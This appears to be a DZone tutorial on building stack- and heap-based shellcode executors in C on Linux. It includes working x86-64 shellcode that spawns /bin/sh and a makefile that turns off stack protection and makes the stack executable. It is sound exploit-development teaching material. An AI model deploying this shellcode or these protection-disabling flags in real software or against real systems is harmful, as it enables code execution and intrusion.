Over a million developers have joined DZone.
{{announcement.body}}
{{announcement.title}}

A Shellcode Testbed

DZone's Guide to

A Shellcode Testbed

So, say you're developing shellcode; how do you test it? first, you need to create a shellcode testbed. That's what we're going to do today. We'll create a couple, in fact.

· Security Zone
Free Resource

Discover an in-depth knowledge about the different kinds of iOS hacking tools and techniques with the free iOS Hacking Guide from Security Innovation.

First, in the last piece on shellcode, I talked about the environment you'll need to run this software. I'm using Ubuntu 16.04. You'll want the usual collection of compilers (gcc) and editors (I use VIM, but you go for whatever works for you). You'll also want to install execstack (sudo apt install execstack will do the trick). I use VMWare Fusion to run my VMs, but I've used Virtualbox in the past, so you can use that too. Or use bare metal if you're really hardcore.

Let's look at a stack-based shellcode executor:

#include <stdio.h>

#define EXIT_OK 0

// This is the shellcode buffer. Insert shellcode into the
// code variable here, for execution later.
// This shellcode will start /bin/sh.
char shellcode[] =
    "\x48\x31\xd2"                                  // xor    %rdx, %rdx
    "\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68"      // mov  $0x68732f6e69622f2f, %rbx
    "\x48\xc1\xeb\x08"                              // shr    $0x8, %rbx
    "\x53"                                          // push   %rbx
    "\x48\x89\xe7"                                  // mov    %rsp, %rdi
    "\x50"                                          // push   %rax
    "\x57"                                          // push   %rdi
    "\x48\x89\xe6"                                  // mov    %rsp, %rsi
    "\xb0\x3b"                                      // mov    $0x3b, %al
    "\x0f\x05";                                     // syscall

int main(int argc, char *argv[]) {
  //exeshell is a function pointer
  int (*code_to_execute)();

  // Here, we set code_to_execute equal to our shellcode.
  // We will execute this shellcode shortyly.
  printf("assigning the shellcode...\n");
  code_to_execute = (int (*)()) shellcode;

  // Execute shellcode; we call the function pointer.
  printf("attempting to execute shellcode...\n");
  int retval = (int)(*code_to_execute)();
  printf("shellcode executed, returning.\n");
  return EXIT_OK;
}

(The shellcode is from shell-storm; you should take a look).

The shellcode array is a contiguously allocated section of memory, allocated statically in the program. You can see this memory allocated in the program's data segment, in fact, if you load the binary in a disassembler like IDA or you trace through the executable with readelf and objdump, like this:

$ readelf -a stack-engine| grep shellcode
66: 0000000000601040    31 OBJECT  GLOBAL DEFAULT   25 shellcode
$ objdump -s -j .data stack-engine

stack-engine:     file format elf64-x86-64

Contents of section .data:
 601030 00000000 00000000 00000000 00000000  ................
 601040 4831d248 bb2f2f62 696e2f73 6848c1eb  H1.H.//bin/shH..
 601050 08534889 e7505748 89e6b03b 0f0500    .SH..PWH...;... 

Here we use readelf to show us where the object (shellcode, the name of the array) is, and objdump to dump the data. The address from objdump (0x60140) corresponds to the address pulled from readelf. Also note that the bytes at 0x601040 correspond to the first few bytes of your shellcode  from your program (0x4831).

So how is this different from a heap executor? Well, a heap executor allocates memory, copies the shellcode into it, and executes from the allocated heap chunk:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define EXIT_OK 0

// This is the shellcode buffer. Insert shellcode into the
// code variable here, for execution later.
// This will execute /bin/sh on linux.
char shellcode[] =
    "\x48\x31\xd2"                                  // xor    %rdx, %rdx
    "\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68"      // mov  $0x68732f6e69622f2f, %rbx
    "\x48\xc1\xeb\x08"                              // shr    $0x8, %rbx
    "\x53"                                          // push   %rbx
    "\x48\x89\xe7"                                  // mov    %rsp, %rdi
    "\x50"                                          // push   %rax
    "\x57"                                          // push   %rdi
    "\x48\x89\xe6"                                  // mov    %rsp, %rsi
    "\xb0\x3b"                                      // mov    $0x3b, %al
    "\x0f\x05";                                     // syscall

int main(int argc, char *argv[]) {
  //exeshell is a function pointer
  int (*code_to_execute)();

  // Here, we set code_to_execute equal to our shellcode.
  // We will execute this shellcode shortyly.
  printf("assigning the shellcode...\n");
  char* heap_buffer = malloc(sizeof(shellcode));
  memcpy(heap_buffer, shellcode, sizeof(shellcode));
  code_to_execute = (int (*)()) heap_buffer;

  // Execute shellcode; we call the function pointer.
  printf("attempting to execute shellcode...\n");
  int retval = (int)(*code_to_execute)();
  printf("shellcode executed, returning.\n");
  return EXIT_OK;
}

The only differences are in the main(.) function. In both cases, we treat the chunk of memory as a function pointer and execute it using function pointer semantics. Now, the final step - you need to compile it correctly. Today, using GCC on Ubuntu, you do it this way:

CC=gcc
ASM=exit.asm
OBJ=heap-engine.o stack-engine.o
CC_FLAGS=-fno-stack-protector -z execstack -g

%.o: %.c
        $(CC) -c -o $@ $< $(CC_FLAGS)

#asm: $(ASM)
#       $(CC) -o $@ -S $< $(ARGS)

main: $(OBJ)
        $(CC) -o heap-engine heap-engine.o $(CC_FLAGS)
        $(CC) -o stack-engine stack-engine.o $(CC_FLAGS)

clean:
        rm *.o stack-engine heap-engine 
        rm -rf *.dSYM
        rm -rf a.out

So, this is a pretty straightforward makefile. The most important thing to note are the flags to the compiler, -fno-stack-protector and -z execstack. So what do these do? well, no-stack-protector compiles the executable without stack protections, and execstack sets bits on the executable so that the stack is executable.

Run the makefile, and execute either the heap or stack engine programs. You should see something like this:

$ ./stack-engine 
assigning the shellcode...
attempting to execute shellcode...
$ 

Congrats! You've successfully injected shellcode into your program! Next time, we'll talk a little bit about what -fno-stack-protector turned off, and why that's a bad thing.

Learn about the importance of a strong culture of cybersecurity, and examine key activities for building – or improving – that culture within your organization.

Topics:
shellcode ,tutorial ,web dev

Opinions expressed by DZone contributors are their own.

{{ parent.title || parent.header.title}}

{{ parent.tldr }}

{{ parent.urlSource.name }}